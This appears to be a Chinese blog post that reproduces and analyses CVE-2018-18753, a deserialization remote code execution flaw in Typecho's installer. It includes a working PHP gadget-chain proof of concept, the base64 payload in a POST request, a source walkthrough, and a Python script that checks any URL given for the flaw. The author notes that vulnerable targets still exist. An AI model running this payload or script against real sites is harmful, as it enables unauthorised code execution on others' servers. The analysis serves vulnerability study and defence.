Typecho反序列漏洞复现和分析(CVE-2018-18753)

CVE-2018-18753反序列化漏洞

本地测试环境

复现

POC(执行phpinfo())

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const DATE_RFC822 = 'r';
const DATE_W3CDTF = 'c';
const EOL = "\n";
private $_type;
private $_items;

public function __construct(){
$this->_type = $this::RSS2;
$this->_items[0] = array(
'title' => '1',
'link' => '1',
'date' => 1508895132,
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct(){
$this->_params['screenName'] = 'phpinfo()';
$this->_filter[0] = 'assert';
}
}

$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);

echo base64_encode(serialize($exp));
?>
1
2
3
4
POST /install.php?finish HTTP/1.1
Host: 127.0.0.1:23331

__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

image-20241022145855125

分析

全局搜索unserilize()就可以发现一个非常可疑且标准的注入点

Typecho_Cookie::get('__typecho_config')直接获取我们发过去的Cookie中的__typecho_config参数,实际上它也可以读取POST的东西

image-20241022174931008

image-20241022150140187

230行,定位后发现触发点在安装程序中

image-20241022150623253

59行发现要进安装程序只要使得参数finish存在即可

image-20241022150824957

接着寻找可以利用的危险函数并且构造链子,在Request.php的164行发现个危险函数,且很难得的两个参数都是变量,与Request.php对应的类名为Typecho_Request

image-20241022152037771

1
2
3
4
5
6
7
8
9
10
11
12
13
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}

$this->_filter = array();
}

return $value;
}

如果有链子能通到这个函数的话_filter的值可以直接篡改,重要的是如何控制value

继续看谁调用了_applyFliter()

Request.php308行,的get()方法中发现有调用_applyFliter(),且传入的value可以通过篡改_params[]的值来控制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}

$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}

对着get()方法写关于Typecho_Request部分的POC

class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct(){
$this->_params[‘screenName’] = ‘phpinfo()’; //sreenName在下文会提到
$this->_filter[0] = ‘assert’;
}
}

接着继续看谁调用了get()方法,发现是Request.php中269行的魔术方法__get()调用了get()

image-20241022154411565

所以到这里我们要想如何找到一个点,可以实例化Typecho_request,并且访问一个它本身不存在的属性

install.php是包含了common.php的,这个common.php提供了自动加载类的服务,大大拓宽了我们的攻击面

image-20241022170018156

我们可以在Feed.php__toString()方法中可以看到这里item['author']访问了一个叫screenName的属性(290行),检查Typecho_request的类刚好不存在这个属性且item可控,满足条件

image-20241022170459015

image-20241022170840573
特别要注意这里的item是个数组,并且还要传入一些必要参数

image-20241022173553399

据此构造部分POC

class Typecho_Feed
{
const RSS1 = ‘RSS 1.0’;
const RSS2 = ‘RSS 2.0’;
const ATOM1 = ‘ATOM 1.0’;
const DATE_RFC822 = ‘r’;
const DATE_W3CDTF = ‘c’;
const EOL = “\n”;
private $_type;
private $_items;
public function __construct(){
$this->_type = $this::RSS2;
$this->_items[0] = array(
‘title’ => ‘1’,
‘link’ => ‘1’,
‘date’ => 1508895132,
‘category’ => array(new Typecho_Request()),
‘author’ => new Typecho_Request(),
);
}

}

$exp = array(
‘adapter’ => new Typecho_Feed(),
‘prefix’ => ‘typecho_’
);

最后就是想如何触发这个__toString()了,在最开始的触发点下面几行,就有我们要找的__toString()触发点

install.php的232行,将我们使用反序列化实例化后的对象传入Typecho_Db()中进行变量拼接

image-20241022171246135

跟进发现变量拼接,变量拼接进而触发__toString()

image-20241022171429840

自此完成闭环!传入POC即可RCE

修复

最新版似乎把install.php的代码重构了一遍,连unserialize()函数都找不到了

image-20241022175335746

验证脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import argparse

def ParseArgs():
parser = argparse.ArgumentParser(description="CVE-2018-18753")
parser.add_argument("-u", "--url", type=str, help="target url to check", required=True)
return parser.parse_args()

if __name__ == '__main__':
args = ParseArgs()
url = args.url

headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', 'Accept-Encoding': 'gzip, deflate, br, zstd', 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': '775', 'Origin': 'http://127.0.0.1:23331', 'Connection': 'keep-alive', 'Referer': 'http://127.0.0.1:23331/install.php?finish', 'Cookie': 'PHPSESSID=nmed1gc26genkh1qd7j6kdvdv6; __typecho_lang=zh_CN', 'Upgrade-Insecure-Requests': '1', 'Sec-Fetch-Dest': 'document', 'Sec-Fetch-Mode': 'navigate', 'Sec-Fetch-Site': 'none', 'Sec-Fetch-User': '?1', 'Priority': 'u=0, i', 'Pragma': 'no-cache', 'Cache-Control': 'no-cache'}


params = {'finish': '1'}

data = {'__typecho_config': 'YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30='}

res = requests.post(url=url,headers=headers,data=data,params=params)

if('PHP Version' in res.text):
print("存在漏洞")
else:
print('不存在漏洞')

懒得写批量验证了,这洞现在还有我吃

经验

在复现的同时我一直在思考第一个挖掘人是如何发现这个漏洞的,如果仅仅是看分析,可能你会觉得这个人是不是开透了,这点一个找得比一个准,实际上慢慢自己利用审计工具,phpstorm工具去调试,才发现这其中逻辑的环环紧扣,有正推和逆推的相结合,从一个unserialize()一步步到RCE的过程简直就是艺术

当然也不排除第一个发现这个漏洞的人真的开透了的可能